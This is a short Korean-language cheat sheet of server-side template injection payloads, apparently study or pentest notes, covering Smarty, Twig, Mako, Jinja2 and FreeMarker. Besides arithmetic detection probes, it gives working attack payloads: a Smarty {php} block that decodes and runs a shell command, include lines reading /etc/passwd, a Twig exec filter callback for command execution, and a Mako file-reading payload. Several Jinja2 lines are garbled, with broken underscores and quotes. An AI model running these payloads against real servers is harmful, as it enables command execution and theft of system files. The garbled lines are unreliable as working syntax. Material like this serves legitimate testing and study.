Server-side Template Injection(SSTI) template 별 점검 방법
Template 별 점검 방법
* Smarty (unsecured) - PHP
- 기본 Injection 확인 구문
>> {5*5} //연산 결과 : 25
>> a{*comment*}b //주석 결과 : ab
- PHP 코드를 사용하는 구문
{php}$d="bHM=";system(base64_decode(str_pad(strtr($d,'-_','+/'), strlen($d)%4,'=',STR_PAD_RIGHT)));{/php}
>> ls 명령어를 base64로 인코딩하여 명령어 실행
- Smarty 문법 구문
>> {include file = '/etc/passwd'}
>> {include_php file='/etc/passwd'}
* Twig(<=1.19버전) - PHP
- 기본 Injection 확인 구문
>> {{5*5}} // 연산 결과 : 25
>> {{5*"5"}} // 연산 결과 : 25
- Twig 문법 구문
>> {{"ab\n"|nl2br}} // 개행 치환 함수 결과 : ab<br />
>> {{%+set+name="value"+%}{{+name+} 결과 : value
>> {{_self.templateName} 결과 : 사용중인 template 이름
>> {{_self.env.registerUndefinedFilterCallback ("exec")}}{{_self.env.getFilter("명령어")}} 결과 : 명령어 실행
* Mako - Python
>> ${5*5} // 연산 결과 : 25
>> ${"a".join("bc")}
>> <%25%0af+=open("test.txt",+'r')%0aline=f.readline()%0a%25>${line} // 결과 : 파일 읽고 출력
* <% %> 안에 파이썬 코드 삽입 가능, 단 개행(%0a), 탭(%09) 문자 사용해서 문법 준수
* Jinja2 - Python
>> {{(8*8*8)}} // 연산
>> {{(8*'8')}} // 연속 문자 결과 : 8888888
>> {{"./class_._base_.__subclass__()}} 결과 : 사용가능한 class 나열
>> {{"./class_._base_}} 결과 : 사용가능한 class 나열
>> {{"./class_._base_.__subclass__()[407].__dict__}} 결과 : 407번째 있는 서브클래스에서 사용하는 속성을 출력
>> POC는 더찾자..
* Freemaker - JAVA
>> ${8*8}
>> #{8*8}
>> ${12}<#--15-->${34} //주석 결과 : 1234
>> <#assign ex="클래스"?new()>${실행} //내부 클래스 기능 사용
>> POC는 더찾자..